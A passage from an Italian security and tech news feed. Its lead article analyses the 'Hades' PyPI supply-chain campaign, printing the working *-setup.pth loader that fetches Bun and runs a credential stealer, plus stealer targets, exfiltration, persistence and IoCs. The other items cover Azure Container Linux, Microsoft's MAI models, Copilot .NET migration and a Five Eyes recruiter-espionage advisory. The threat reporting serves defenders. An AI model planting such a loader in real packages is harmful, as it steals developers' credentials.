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Campagna Hades colpisce PyPI: 37 pacchetti malevoli della famiglia Shai-Hulud/Miasma rubano credenziali sviluppatori


@Informatica (Italy e non Italy)
Socket Research Team ha scoperto 37 wheel artifact malevoli su 19 pacchetti PyPI, parte della campagna Hades — ramo evolutivo di Shai-Hulud/Miasma. Il vettore è un file *-setup.pth


Campagna Hades colpisce PyPI: 37 pacchetti malevoli della famiglia Shai-Hulud/Miasma rubano credenziali sviluppatori


Il team di ricerca di Socket ha identificato 37 wheel artifact malevoli distribuiti su 19 pacchetti PyPI, parte di una campagna di supply chain attack denominata “Hades” — un ramo evolutivo della nota famiglia Shai-Hulud/Miasma. Il vettore è sofisticato: un file *-setup.pth iniettato nei pacchetti scarica silenziosamente il runtime JavaScript Bun ed esegue uno stealer multi-target che colpisce sviluppatori, pipeline CI/CD e credenziali cloud.

La famiglia Shai-Hulud/Miasma: un attore in continua evoluzione


Shai-Hulud e Miasma non sono nomi nuovi nell’ecosistema del threat intelligence. La famiglia è attiva da mesi e ha già colpito pacchetti npm gestiti da Red Hat Cloud Services (giugno 2026), pacchetti Packagist tramite la campagna Famous Chollima (Corea del Nord), e ora approda su PyPI con una variante battezzata “Hades”. Il modus operandi rimane invariato nel core: abuso dei canali di distribuzione di fiducia, esecuzione prima che il codice legittimo venga invocato, payload JavaScript offuscato eseguito tramite il runtime Bun, esfiltrazione verso GitHub.

La scoperta è stata segnalata inizialmente dall’incident responder boredchilada su Bluesky, che ha taggato Socket poco dopo la pubblicazione dei pacchetti compromessi. La deobfuscation di _index.js ha confermato l’attribuzione alla stessa famiglia, rivelando però un cambio tematico: invece dei riferimenti a Zelda usati in campagne Miasma precedenti, questa ondata usa elementi mitologici greci — con marker GitHub come Hades - The End for the Damned e nomi di repository generati da componenti come stygian, tartarean, cerberus, charon, styx.

Il meccanismo di infezione: il file .pth come primitiva di esecuzione automatica


L’elemento tecnico più critico di questa campagna è lo sfruttamento dei file .pth di Python — un vettore raramente usato in attacchi su larga scala. Il modulo site di CPython processa automaticamente questi file all’avvio dell’interprete: le righe che iniziano con import vengono eseguite, indipendentemente dal fatto che il pacchetto compromesso venga mai importato dall’applicazione target.

Questo significa che l’installazione di un pacchetto infetto trasforma qualsiasi successiva invocazione di Python — un test, una pipeline CI, un notebook Jupyter, o semplicemente un pip install — in un trigger di esecuzione del codice malevolo. Il loader estratto dai wheel esegue questa sequenza:

  • Verifica la presenza del sentinel /tmp/.bun_ran per evitare esecuzioni ripetute
  • Localizza il payload _index.js nella directory del pacchetto
  • Scarica il runtime Bun v1.3.13 da GitHub se non già presente in /tmp/b/bun
  • Esegue bun run _index.js e scrive il sentinel


# Loader estratto dal *-setup.pth (forma normalizzata)
import glob, os, platform, subprocess, sys, tempfile, urllib.request, zipfile
sentinel = os.path.join(tempfile.gettempdir(), ".bun_ran")
if not os.path.exists(sentinel):
    base = os.path.dirname(__file__)
    payload = os.path.join(base, "_index.js")
    if not os.path.exists(payload):
        candidates = glob.glob(os.path.join(base, "*", "_index.js"))
        payload = candidates[0] if candidates else ""
    bun = os.path.join(tempfile.gettempdir(), "b", "bun")
    if not os.path.exists(bun):
        arch = "aarch64" if platform.machine() == "arm64" else "x64"
        os_name = {"linux":"linux","darwin":"darwin","win32":"windows"}.get(sys.platform,"linux")
        zip_path = os.path.join(tempfile.gettempdir(), "b.zip")
        urllib.request.urlretrieve(
            f"https://github.com/oven-sh/bun/releases/download/bun-v1.3.13/bun-{os_name}-{arch}.zip",
            zip_path)
        zipfile.ZipFile(zip_path).extract(os.path.basename(bun), os.path.dirname(bun))
        os.chmod(bun, 0o775)
    subprocess.run([bun, "run", payload], check=False)
    open(sentinel, "w").close()

Payload deobfuscation: quattro strati di protezione


Il file _index.js è protetto da quattro strati di offuscamento progressivo: un wrapper try { eval(...) } che decodifica un array di char-code con sostituzione ROT-style; uno stage AES-GCM che decripta due blob embedded e scrive il payload principale in /tmp/p*.js; un bootstrapper Bun che gestisce il download del runtime; infine il payload principale, con rotated string table, decoder PBKDF2/SHA256 e un ulteriore strato AES-256-GCM con gzip.

Una volta deoffuscato, il payload è un credential stealer ad ampio spettro ottimizzato per ambienti di sviluppo: token GitHub (inclusi ghs_* e GitHub Actions runner secrets), npm, PyPI, RubyGems, JFrog, CircleCI, Anthropic. Sul fronte cloud: AWS credentials, STS, SSM Parameter Store, Secrets Manager; GCP Secret Manager; Azure Key Vault; Kubernetes service-account tokens; HashiCorp Vault. Vengono inoltre esfiltrate chiavi SSH, Docker configs, shell histories, file .env, .npmrc, .pypirc, configurazioni Claude/MCP e dati wallet.

Esfiltrazione via GitHub: camouflage su Anthropic API


Il payload include due percorsi di esfiltrazione. Il primo — apparentemente verso api.anthropic.com/v1/api — è di fatto un meccanismo di camouflage di rete: la route non esiste sui server Anthropic (restituisce 404), ma il traffico verso questo host ubiquo confonde i SIEM e rende difficile il blocco automatico. Il canale reale è GitHub: il payload crea repository pubblici con POST /user/repos, vi esegue commit di dati esfiltrati sotto path results/results-<timestamp>-<counter>.json, e può abusare di GitHub Actions per caricare artifact denominati format-results.

Il payload include anche meccanismi di persistenza post-compromissione: installa gh-token-monitor.sh come servizio systemd su Linux o LaunchAgent su macOS, e deposita file .claude/setup.mjs e .github/setup.js — estendendo il vettore di attacco agli ambienti di AI-assisted coding e workflow CI.

I pacchetti compromessi


I 37 artifact colpiscono 19 pacchetti riconducibili a un singolo account maintainer compromesso. I pacchetti ad alto impatto includono dynamo-release (framework per RNA-velocity single-cell), spateo-release (analisi trascrittomica spaziale), coolbox (toolkit Jupyter per genomica Hi-C/ChIP-Seq), e i tool ufish/napari-ufish per deep-learning. I download cumulativi di questi pacchetti si misurano in centinaia di migliaia. Il totale degli artifact compromessi monitorati da Socket attraverso npm e PyPI raggiunge 448.

Indicatori di Compromissione (IoC)

## Pacchetti PyPI compromessi (selezione)
bramin@0.0.2, @0.0.3, @0.0.4
cmd2func@0.2.2, @0.2.3
coolbox@0.4.1, @0.4.2
dynamo-release@1.5.4
executor-engine@0.3.4, @0.3.5
executor-http@0.1.3, @0.1.4
napari-ufish@0.0.2, @0.0.3
spateo-release@1.1.2
ufish@0.1.2, @0.1.3
uprobe@0.1.3, @0.1.4
## File malevoli
*-setup.pth
_index.js
## Hash SHA256
c539766062555d47716f8432e73adbe3a0c0c954a0b6c4005017a668975e275c
dc48b09b2a5954f7ff79ab8a2fd80202bd3b59c08c7cdbc6025aa923cb4c0efe
## Path filesystem
/tmp/.bun_ran
/tmp/b.zip  |  /tmp/b/bun
~/.config/gh-token-monitor/
~/.local/bin/gh-token-monitor.sh
~/.config/systemd/user/gh-token-monitor.service
~/Library/LaunchAgents/com.github.token-monitor.plist
## Network
hxxps://github[.]com/oven-sh/bun/releases/download/bun-v1.3.13/
hxxps://api[.]anthropic[.]com/v1/api  (camouflage - non funzionale)
## Marker GitHub esfiltrazione
Repository description: "Hades - The End for the Damned"
Commit marker: "IfYouYankThisTokenItWillNukeTheComputerOfTheOwnerFully"
Workflow name: "Run Copilot"
Artifact name: "format-results"
Path pattern: results/results-*.json

Due righe per i difensori


Chi ha installato versioni compromesse deve rimuovere i pacchetti, ricostruire gli environment e ruotare immediatamente tutte le credenziali accessibili: token GitHub/GitHub Actions, chiavi PyPI/npm/RubyGems, credenziali AWS/GCP/Azure/Kubernetes, token CircleCI e HashiCorp Vault, chiavi SSH e Docker credentials. A livello di detection statica, qualsiasi wheel PyPI contenente un file .pth eseguibile con download di runtime remoti e subprocess execution va trattato come alto rischio. A runtime, monitorare la catena python -> bun -> _index.js e connessioni verso github.com/oven-sh/bun/releases/download/. Sul fronte GitHub, ricercare negli organization log i marker Hades sopra elencati.

Fonte principale: Socket Research Team — socket.dev/blog/shai-hulud-descends-to-hades-miasma-pypi-wave


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Azure Container Linux su AKS: il sistema operativo immutabile e hardened di Microsoft per Kubernetes
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Azure Container Linux su AKS: il sistema operativo immutabile e hardened di Microsoft per Kubernetes


A Microsoft Build 2026, Microsoft ha annunciato la disponibilità generale di Azure Container Linux (ACL), un sistema operativo immutabile e hardened progettato specificamente per i nodi di Azure Kubernetes Service (AKS). Contemporaneamente, è entrata in public preview Azure Linux 4.0, la prima distribuzione Linux server di Microsoft per ambienti cloud enterprise. Si tratta di un cambio di paradigma significativo nella gestione dell’infrastruttura Kubernetes: addio al configuration drift, benvenuta riproducibilità totale.

Perché un OS dedicato per Kubernetes?


Chiunque gestisca cluster Kubernetes in produzione conosce bene i problemi legati alla deriva della configurazione (configuration drift). I nodi Linux tradizionali — anche se avviati da un’immagine controllata — tendono ad accumulare modifiche nel tempo: aggiornamenti in-place, file di configurazione modificati manualmente, pacchetti installati per debugging, variazioni tra ambienti diversi. Il risultato è che due nodi teoricamente identici si comportano in modo differente, rendendo debugging e ripristino molto più complessi.

L’altro fronte critico è la superficie di attacco: un OS generalista porta con sé decine di pacchetti, servizi e porte che non hanno alcuna ragione di esistere su un nodo Kubernetes. Ogni componente non necessario è un potenziale vettore di compromissione.

Azure Container Linux nasce esattamente per risolvere entrambi i problemi.

Caratteristiche tecniche di Azure Container Linux

Sistema operativo immutabile basato su Flatcar


ACL è costruito a valle di Flatcar Container Linux, la distribuzione già nota per la sua architettura immutabile e orientata ai container. L’adozione di Flatcar come base garantisce compatibilità con l’ecosistema esistente e un design maturo e collaudato. Su ACL, il filesystem di sistema è montato in sola lettura: nessun processo, nemmeno con privilegi di root, può modificare il sistema operativo a runtime. Questo elimina alla radice la possibilità di configuration drift e rende ogni nodo perfettamente riproducibile.

Integrity Policy Enforcement (IPE)


Una delle innovazioni più rilevanti di ACL è l’integrazione del Linux Security Module IPE (Integrity Policy Enforcement). IPE verifica che solo i binari provenienti da volumi firmati e trusted possano essere eseguiti. Questo controllo si estende anche alle immagini container: grazie all’integrazione con dm-verity — il meccanismo di verifica crittografica a livello di blocco del kernel Linux — ogni layer dell’immagine container viene verificato rispetto a una firma digitale prima che qualsiasi binario al suo interno possa essere eseguito.

In pratica, anche se un attaccante riuscisse a inserire codice malevolo in un layer container o nel filesystem del nodo, IPE bloccherebbe l’esecuzione di qualsiasi binario non autorizzato. È un approccio defense-in-depth particolarmente efficace contro attacchi supply chain e compromissioni post-deployment.

Aggiornamenti tramite node image upgrade


Su un OS immutabile, gli aggiornamenti non avvengono con package manager tradizionali come apt o dnf. ACL si aggiorna esclusivamente tramite il meccanismo di node image upgrade di AKS: il nodo viene sostituito con una nuova immagine aggiornata, garantendo che lo stato di partenza sia sempre pulito e noto. Questo approccio elimina i problemi tipici degli aggiornamenti in-place e semplifica enormemente la gestione del ciclo di vita dei nodi.

Azure Linux 4.0: la distribuzione server di Microsoft


Parallelamente ad ACL, Microsoft ha annunciato la public preview di Azure Linux 4.0, una distribuzione Linux server progettata per ambienti Azure cloud su larga scala. Mentre ACL è ottimizzato per i nodi Kubernetes, Azure Linux 4.0 è pensato come base per workload generici su macchine virtuali Azure. Entrambe le distribuzioni condividono il core di Azure Linux, che fornisce coerenza e compatibilità con l’ecosistema Azure.

Come usare Azure Container Linux su AKS


ACL è disponibile come opzione di sistema operativo per i node pool di AKS. Per creare un cluster o un node pool con ACL, è sufficiente specificare AzureContainerLinux come OS SKU:

# Creare un nuovo cluster AKS con Azure Container Linux
az aks create \
  --resource-group myResourceGroup \
  --name myAKSCluster \
  --node-os-upgrade-channel NodeImage \
  --os-sku AzureContainerLinux \
  --generate-ssh-keys

# Aggiungere un node pool con ACL a un cluster esistente
az aks nodepool add \
  --resource-group myResourceGroup \
  --cluster-name myAKSCluster \
  --name acnodepool \
  --os-sku AzureContainerLinux

Il parametro --node-os-upgrade-channel NodeImage è consigliato per sfruttare appieno il modello di aggiornamento immutabile: AKS si occuperà automaticamente di sostituire i nodi con le versioni aggiornate dell’immagine OS.

Kubernetes 1.35 e Fleet Manager cross-cluster networking


Insieme all’annuncio di ACL, Microsoft Build 2026 ha portato altre novità rilevanti per AKS:

  • Kubernetes 1.35 GA: la versione 1.35 è ora disponibile a livello generale su AKS e in fase di rollout in tutte le region.
  • Azure Kubernetes Fleet Manager per cluster Arc-enabled (GA): gestione di flotte che includono cluster on-premises abilitati ad Azure Arc, con update, policy e placement da un singolo piano di controllo.
  • Cross-cluster networking (preview): networking cross-cluster per Fleet Manager basato su Cilium gestito, con service discovery, policy enforcement e observability tramite eBPF.


Conclusione


Azure Container Linux è una risposta concreta ai problemi di sicurezza e riproducibilità dell’infrastruttura Kubernetes tradizionale. L’approccio immutabile, l’enforcement crittografico dei binari tramite IPE e dm-verity, e l’integrazione nativa con il ciclo di vita AKS lo rendono una scelta solida per chi gestisce workload critici in ambienti con requisiti di compliance (PCI-DSS, HIPAA, ISO 27001). Microsoft Build 2026 segna un momento importante per l’ecosistema AKS, con novità che coprono sicurezza OS, gestione multi-cluster e networking avanzato.

Fonte: Introducing Azure Container Linux (ACL) — Microsoft Community Hub | What’s new in AKS at Microsoft Build 2026


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Microsoft Build 2026: sette modelli MAI frontier, Frontier Tuning e agenti enterprise
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Microsoft Build 2026: sette modelli MAI frontier, Frontier Tuning e agenti enterprise


Al Microsoft Build 2026, tenutosi il 2 giugno a Fort Mason Center di San Francisco, Satya Nadella ha presentato MAI (Microsoft AI): una nuova famiglia di modelli frontier sviluppati internamente da Microsoft, progettati per carichi di lavoro enterprise con enfasi su efficienza hardware, sovranità dei dati e personalizzazione profonda. Sette modelli, tutti addestrati da zero, con capacità che spaziano dal ragionamento avanzato alla visione artificiale, dalla trascrizione vocale alla generazione.

La famiglia MAI: sette modelli addestrati da zero


A differenza dei modelli GPT che alimentano Copilot attraverso la partnership con OpenAI, i modelli MAI sono sviluppati interamente da Microsoft. La lineup comprende:

  • MAI-Thinking-1: il modello di ragionamento di punta, con 35 miliardi di parametri attivi (architettura Mixture of Experts), finestra di contesto da 256K token. Progettato per task complessi di reasoning e coding, con performance comparabili a modelli di dimensioni maggiori sul mercato.
  • MAI-Code: ottimizzato per la programmazione, con contesto da 200K token per ingerire interi codebase durante le sessioni di refactoring o analisi del codice.
  • MAI-Vision: modello multimodale per l’elaborazione di immagini, video e testo in modo unificato.
  • MAI Nano, Core e Pro: tre tier dimensionali ottimizzati rispettivamente per dispositivi on-device (NPU), server enterprise mid-tier e orchestrazione massiva multi-agente fino a 32 catene parallele.
  • Modelli specializzati per trascrizione, sintesi vocale e altre attività di elaborazione audio-visiva.

Un differenziatore chiave è la co-progettazione hardware-software: i modelli MAI sono ottimizzati per girare sul chip Maia 200 di Microsoft, con un vantaggio significativo in termini di performance per watt rispetto alle soluzioni GPU tradizionali.

Frontier Tuning: personalizzazione profonda per l’enterprise


Oltre ai modelli base, Microsoft ha introdotto il Frontier Tuning, una metodologia che consente alle organizzazioni di addestrare versioni specializzate dei modelli MAI usando i propri dati operativi.

L’intuizione alla base è che il dato più prezioso non sono i corpora generali, ma le traiettorie reali degli agenti in esecuzione all’interno dell’organizzazione: i passi compiuti, le decisioni prese, i workflow completati. Questi dati permettono di creare modelli altamente specializzati che superano le alternative general-purpose sul dominio specifico, a una frazione del costo.

Un caso concreto già citato da Microsoft: McKinsey, dopo l’adozione del Frontier Tuning, ha ottenuto il tasso di successo più alto tra tutti i modelli testati, con una riduzione dei costi di circa 10 volte rispetto alle alternative.

Reinforcement Learning Environments (RLEs) per agenti specializzati


Microsoft ha introdotto anche gli RLE (Reinforcement Learning Environments): ambienti di addestramento che permettono di creare agenti altamente specializzati per task aziendali specifici. Gli RLE consentono di fare frontier tuning producendo modelli custom in grado di superare le alternative general-purpose rimanendo significativamente più efficienti in termini di costo.

Tra le partnership annunciate spicca quella con la Mayo Clinic, finalizzata allo sviluppo di un modello frontier specializzato per la sanità globale e la sicurezza dei pazienti.

Integrazione nell’ecosistema Microsoft


I modelli MAI non esistono come prodotto standalone: sono integrati trasversalmente nell’ecosistema Microsoft:

  • GitHub Copilot: MAI-Code e MAI-Thinking-1 sono disponibili come provider nel menù di selezione modello di Copilot.
  • Visual Studio e VS Code: integrazione nativa con il workflow di sviluppo, inclusi i Team Agents di Visual Studio 2026 (code reviewer, test architect, compliance officer come agenti persistenti dentro l’IDE).
  • Azure AI Foundry: i modelli MAI sono accessibili tramite API con le stesse interfacce degli altri modelli hosted su Azure, facilitando la migrazione e l’integrazione.
  • Windows Agent Framework: MAI Nano gira direttamente su dispositivi Windows 11 con NPU, abilitando AI on-device sotto i 200ms di latenza.


Trust, governance e sovranità dei dati


Un tema centrale del lancio è la fiducia enterprise. Ogni modello MAI viene distribuito con un trust rubric: un file di policy machine-readable che definisce cosa il modello può accedere, come gestisce i dati personali (PII) e a quali framework di compliance aderisce.

Questa separazione tra pesi del modello e vincoli operativi permette a settori regolamentati (banking, sanità, pubblica amministrazione) di deployare MAI con la certezza che il modello non esfiltrerà dati verso database esterni al tenant.

Sul fronte sicurezza applicativa, Microsoft ha presentato anche MXC (Managed Execution Containers): container integrati in Windows con policy-driven isolation per l’esecuzione sicura degli agenti, e Verity, uno strumento di governance per workflow agentici auditabili.

Prospettive per sviluppatori e sysadmin


Il lancio dei modelli MAI segna un cambio di strategia significativo per Microsoft: da puro distributore di capacità AI di terze parti (OpenAI) a produttore di modelli proprietari per scenari enterprise. Per i professionisti IT, le implicazioni pratiche più immediate sono:

  • Disponibilità di un modello di ragionamento competitivo direttamente su Azure, senza dipendenza dalla roadmap OpenAI.
  • Possibilità concreta di customizzare modelli su dati aziendali proprietari con garanzie di data sovereignty.
  • Integrazione nativa nel toolchain già in uso (VS Code, GitHub, Azure) senza cambiamenti infrastrutturali.
  • AI on-device su Windows 11 NPU per scenari a bassa latenza o con requisiti di privacy stringenti.

I modelli MAI sono disponibili in preview su Azure AI Foundry. Il Frontier Tuning è accessibile in anteprima per i clienti enterprise selezionati.


Fonte: Microsoft Build 2026 Blog · 4sysops · Windows News


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GitHub Copilot come agente di modernizzazione .NET: addio al .NET Upgrade Assistant
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GitHub Copilot come agente di modernizzazione .NET: addio al .NET Upgrade Assistant


A Microsoft Build 2026, Microsoft ha confermato ufficialmente che il .NET Upgrade Assistant è deprecato. Al suo posto, il nuovo GitHub Copilot App Modernization diventa lo strumento di riferimento per migrare applicazioni .NET legacy verso versioni moderne del framework. Non si tratta di un semplice rebranding: il passaggio da un tool rule-based a un agente AI rappresenta un cambiamento di approccio profondo, con implicazioni pratiche significative per chi gestisce codebase enterprise datate.

Perché il .NET Upgrade Assistant non bastava più


Il .NET Upgrade Assistant, disponibile dalla versione 5 in poi, funzionava tramite un insieme di regole predefinite: identificava i pacchetti incompatibili, aggiornava i target framework, eseguiva trasformazioni note su file di configurazione. Questo approccio funzionava bene per migrazioni standard e poco complesse, ma mostrava i suoi limiti di fronte a pattern architetturali non canonici, codice con dipendenze circolari o applicazioni fortemente accoppiate a funzionalità specifiche di .NET Framework.

Un agente AI, invece, può leggere il contesto, comprendere l’intento del codice, gestire casi edge e iterare sugli errori di compilazione in modo autonomo — qualcosa che un sistema basato su regole non può fare per definizione.

Come funziona GitHub Copilot App Modernization


L’agente è integrato direttamente in Visual Studio 2026 (e Visual Studio 2022 versione 17.14.17 o superiore) e accessibile dalla palette dei comandi di GitHub Copilot. Il flusso di lavoro tipico è il seguente:

  1. Si apre il progetto o la solution da migrare in Visual Studio.
  2. Si avvia una conversazione con GitHub Copilot specificando l’obiettivo di modernizzazione (es. “migra questa applicazione ASP.NET MVC a .NET 10”).
  3. L’agente analizza il codebase, identifica le dipendenze da aggiornare, le API deprecate e i pattern non compatibili.
  4. Esegue le modifiche necessarie in autonomia, tenta la compilazione e, in caso di errori, itera per risolverli.
  5. Il processo continua finché la compilazione non ha successo o finché non è necessario l’intervento umano.

Il punto chiave è l’iterazione automatica sugli errori di build: l’agente non si limita ad applicare una serie di patch e consegnare il risultato, ma verifica attivamente che il codice compili correttamente dopo ogni modifica, riprovando con approcci diversi in caso di fallimento.

Scenari di modernizzazione supportati


L’agente copre una gamma ampia di scenari di migrazione .NET:

Migrazione del framework target


Il caso d’uso principale è la migrazione da .NET Framework (4.x) a .NET 8, 9 o 10. L’agente supporta i seguenti tipi di applicazione:

  • ASP.NET MVC e Web API: migrazione alla versione corrispondente in ASP.NET Core.
  • Windows Forms e WPF: migrazione a .NET 8/9/10 mantenendo il runtime Windows.
  • Azure Functions: aggiornamento al modello isolated worker process.
  • Web Forms → Blazor: supporto in arrivo; sarà possibile migrare applicazioni Web Forms verso Blazor, che rappresenta il percorso di modernizzazione più naturale per questo stack.


Conversione SDK-style


Le applicazioni .NET Framework usano ancora i vecchi file .csproj in formato XML verboso. L’agente esegue la conversione al formato SDK-style, molto più compatto e leggibile, rimuovendo riferimenti espliciti a file, gestendo i PackageReference e allineando la struttura del progetto agli standard moderni.

Integrazione di .NET Aspire


Uno degli scenari più interessanti è l’integrazione di .NET Aspire in applicazioni esistenti. L’agente può aggiungere Aspire a un’applicazione legacy, configurando l’AppHost, i service discovery e i componenti di observability (OpenTelemetry, health checks) senza dover ripartire da zero. Per team che vogliono portare in produzione applicazioni cloud-ready mantenendo il codebase esistente, questo è un cambio significativo.

Aggiornamenti di librerie e pacchetti


L’agente gestisce anche scenari più circoscritti come:

  • Migrazione da Newtonsoft.Json a System.Text.Json.
  • Aggiornamento di Microsoft.Data.SqlClient.
  • Upgrade da Semantic Kernel al nuovo Microsoft Agent Framework.


Pre-build error checking in Visual Studio 2026


Parallelamente all’agente di modernizzazione, Visual Studio 2026 introduce una funzionalità di pre-build error checking: Visual Studio identifica errori e warning prima ancora che la build venga avviata, riducendo il ciclo di feedback per lo sviluppatore. La combinazione di questa funzionalità con l’agente di modernizzazione — che itera sugli errori di compilazione in autonomia — crea un loop di sviluppo più rapido e meno dipendente dal tempo di compilazione completa.

AI-assisted merge conflict resolution


Un’altra novità annunciata a Build 2026 per Visual Studio è il supporto all’AI-assisted conflict resolution: GitHub Copilot partecipa attivamente alla risoluzione dei merge conflict, aiutando lo sviluppatore a comprendere la natura del conflitto e suggerendo la risoluzione più appropriata in base al contesto del codice. Non sostituisce la decisione umana — il developer mantiene il controllo finale — ma riduce significativamente il tempo necessario per analizzare conflitti complessi in codebase di grandi dimensioni.

Come iniziare


Per usare GitHub Copilot App Modernization è necessario:

  1. Avere Visual Studio 2026 (o Visual Studio 2022 17.14.17+) con l’estensione GitHub Copilot installata.
  2. Una sottoscrizione GitHub Copilot attiva (Business o Enterprise per i team).
  3. Aprire la solution da migrare e avviare una chat con Copilot descrivendo il tipo di migrazione desiderata.

La documentazione ufficiale è disponibile su Microsoft Learn nella sezione GitHub Copilot modernization overview.

Considerazioni pratiche per team enterprise


La deprecazione del .NET Upgrade Assistant può sorprendere chi lo usa in pipeline CI/CD per automatizzare migrazioni. È importante notare che l’agente Copilot è uno strumento interattivo, pensato per lavorare con uno sviluppatore nel loop: non è un tool da riga di comando eseguibile in modo completamente non presidiato. Per le pipeline di migrazione automatizzate, almeno nella fase attuale, sarà necessario valutare approcci ibridi.

Sul fronte dei costi, l’agente usa il credito Copilot come qualsiasi altra funzionalità AI: le sessioni di modernizzazione complesse, che coinvolgono molte iterazioni di analisi e correzione, possono consumare una quantità significativa di token. Vale la pena fare un test su un progetto pilota prima di pianificare la migrazione di una solution enterprise complessa.

Conclusione


Il passaggio dal .NET Upgrade Assistant a GitHub Copilot App Modernization segna la maturità dell’approccio AI-first nella gestione del debito tecnico. Un agente che legge il codice, comprende il contesto, esegue le modifiche e itera sugli errori di compilazione in autonomia è concettualmente diverso da qualsiasi tool rule-based precedente. Per i team che gestiscono applicazioni .NET Framework legacy, vale la pena esplorare questo strumento — soprattutto per scenari come la migrazione Web Forms verso Blazor e l’integrazione di Aspire, che storicamente richiedevano sforzi manuali considerevoli.

Fonti: Visual Studio Microsoft Build 2026 Announcements | GitHub Copilot App Modernization — Microsoft Learn


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✨ Spie cinesi su LinkedIn: il Five Eyes documenta le campagne di recruiters falsi dell’intelligence militare di Pechino
#CyberSecurity
insicurezzadigitale.com/spie-c…

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Spie cinesi su LinkedIn: il Five Eyes documenta le campagne di recruiters falsi dell’intelligence militare di Pechino


Le agenzie di intelligence dei cinque paesi alleati — FBI (USA), MI5 (UK), ASIO (Australia), CSIS (Canada) e NZSIS (Nuova Zelanda) — hanno emesso un alert congiunto che documenta come ufficiali dell’intelligence militare cinese si fingano recruiter professionisti su LinkedIn, Indeed e Upwork per sottrarre informazioni classificate a personale governativo, militare e della difesa. La minaccia non è nuova, ma la scala e la sofisticazione raggiunte nel 2026 rendono questo advisory un documento imprescindibile per chi opera nella sicurezza nazionale e nella protezione delle informazioni.

Il modus operandi: dal curriculum all’intelligence


Il pattern operativo identificato dal Five Eyes è elegante nella sua semplicità. Gli ufficiali dell’intelligence cinese — appartenenti ai Military Intelligence Services di Pechino — creano profili verosimili su piattaforme di recruiting professionale, impersonando think tank, società di consulenza private e agenzie HR specializzate in analisi geopolitica e difesa.

I profili di lavoro pubblicati riguardano tipicamente posizioni come “analista di politica estera”, “esperto di difesa per la regione Indo-Pacifica” o “ricercatore senior di relazioni bilaterali”. Il target non è casuale: i candidati vengono classificati in base al potenziale accesso a informazioni sensibili, attraverso l’analisi dei curriculum ricevuti. Chi detiene security clearance, lavora in agenzie governative o ha contatti con strutture militari sale automaticamente in cima alla lista degli obiettivi. L’advisory specifica che le piattaforme utilizzate includono LinkedIn, Indeed e Upwork, e che i candidati vengono anche contattati direttamente in base alla rilevanza dei loro profili pubblici.

La trappola del “trial report”


Una volta identificato il candidato di interesse, il processo si articola in fasi successive che servono a costruire fiducia e normalizzare richieste di informazioni progressivamente più sensibili. I selezionatori organizzano colloqui virtuali durante i quali nascondono la propria identità reale, sondando le conoscenze dell’interlocutore e il suo accesso a personale e risorse governative.

Il punto critico è il cosiddetto “trial report”: ai candidati viene chiesto di scrivere un saggio di prova su temi come le relazioni bilaterali della Cina, la situazione nell’Indo-Pacifico o questioni di commercio internazionale e difesa. Accettato il primo elaborato, le richieste successive si fanno progressivamente più intrusive: ai candidati viene comunicato che i report “devono includere informazioni più privilegiate” per ricevere compensi più elevati.

A questo punto la comunicazione viene spostata su piattaforme di messaggistica cifrata. I compensi variano da qualche centinaio a diverse migliaia di dollari per report, pagati attraverso canali difficilmente tracciabili: PayPal, Payoneer, Zelle, Skrill, Wise, Western Union, e-transfer e criptovalute. I pagamenti vengono spesso effettuati da account di terze parti estranee al processo di recruiting — una classica tecnica di compartimentazione operativa che complica la tracciabilità e la raccolta di prove.

Il valore strategico dell’informazione non classificata


Uno degli aspetti più significativi dell’advisory è l’enfasi sul valore dell’informazione non classificata. Il Five Eyes avverte esplicitamente che “anche le informazioni non classificate fornite dai candidati vengono probabilmente raccolte e combinate con dati più sensibili”. Questa prospettiva sfida il tradizionale approccio alla sicurezza delle informazioni, che tende a concentrarsi esclusivamente sulla protezione dei materiali classificati.

Steve Povolny di Exabeam ha commentato l’alert sottolineando come queste piattaforme stiano diventando veri e propri “ambienti di raccolta intelligence” che consentono a operatori stranieri di reclutare individui senza mai alzarsi dalla scrivania: “La minaccia insider non è più confinata ai dipendenti che rubano intenzionalmente segreti. Gli avversari prendono di mira l’intero ecosistema che circonda le informazioni sensibili — appaltatori, ex funzionari governativi, accademici, ricercatori, giornalisti ed esperti di settore che possono possedere solo frammenti di conoscenza preziosa, ma che una volta aggregati diventano intelligence operativa di valore strategico.”

Contesto storico: una tecnica scalabile e difficile da contrastare


L’uso di false opportunità lavorative come vettore di spionaggio è documentato da anni in diversi threat actor state-sponsored. Il FBI ha già messo in guardia contro operazioni analoghe attribuite alla Corea del Nord — celebri le campagne del Lazarus Group contro sviluppatori blockchain tramite finti colloqui tecnici — e all’Iran con Charming Kitten contro ricercatori nucleari e funzionari governativi. La specificità di questo advisory è l’attribuzione esplicita ai Military Intelligence Services cinesi e la documentazione di come le piattaforme di recruiting professionale siano diventate infrastrutture di raccolta intelligence sistematiche.

L’alert del 3 giugno 2026 — disponibile come PDF sul portale IC3 dell’FBI — è uno dei rari momenti in cui i cinque paesi del network di intelligence condividono pubblicamente dettagli operativi su campagne attive. La scelta di rendere pubblico l’advisory suggerisce che la portata e il ritmo di queste attività abbiano raggiunto una soglia tale da giustificare un’operazione di sensibilizzazione coordinata a livello internazionale.

Raccomandazioni operative per le organizzazioni


Il Five Eyes individua come segnali d’allarme primari gli approcci non sollecitati da recruiter per posizioni che richiedono analisi di tematiche geopolitiche sensibili, le richieste di spostare le comunicazioni su app di messaggistica cifrata, le richieste di produrre report che includano informazioni “privilegiate” o “interne”, e i pagamenti attraverso piattaforme terze o criptovalute da parti non direttamente coinvolte nel recruiting.

Per i responsabili della sicurezza organizzativa, l’advisory suggerisce di implementare programmi di sensibilizzazione specifici per i dipendenti con accesso a informazioni sensibili, con enfasi sul rischio rappresentato dalle piattaforme di networking professionale. La verifica dell’identità dei recruiter, la segnalazione degli approcci sospetti alle funzioni di sicurezza interne e il rispetto rigoroso delle politiche sull’uso dei social media professionali sono le contromisure fondamentali indicate.

Fonti: Five Eyes Joint Advisory — IC3/FBI, 3 giugno 2026 | SecurityWeek


informatica ha ricondiviso questo.

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✨ ClickFix si mette in cerca di lavoro: falsi annunci LinkedIn e Indeed per distribuire CastleLoader e RAT Python
#CyberSecurity
insicurezzadigitale.com/clickf…

@informatica


ClickFix si mette in cerca di lavoro: falsi annunci LinkedIn e Indeed per distribuire CastleLoader e RAT Python


Il team CTI di LevelBlue SpiderLabs ha pubblicato un’analisi approfondita di una nuova variante della campagna ClickFix, comparsa in maggio 2026, che utilizza siti typosquattati impersonanti LinkedIn e Indeed per distribuire un framework MaaS denominato CastleLoader e un Remote Access Trojan (RAT) scritto in Python. La catena d’attacco combina l’abuso del protocollo Finger, esecuzione fileless tramite runtime Python portatili, cifratura ChaCha20/RC4 e comunicazioni C2 via WebSocket.

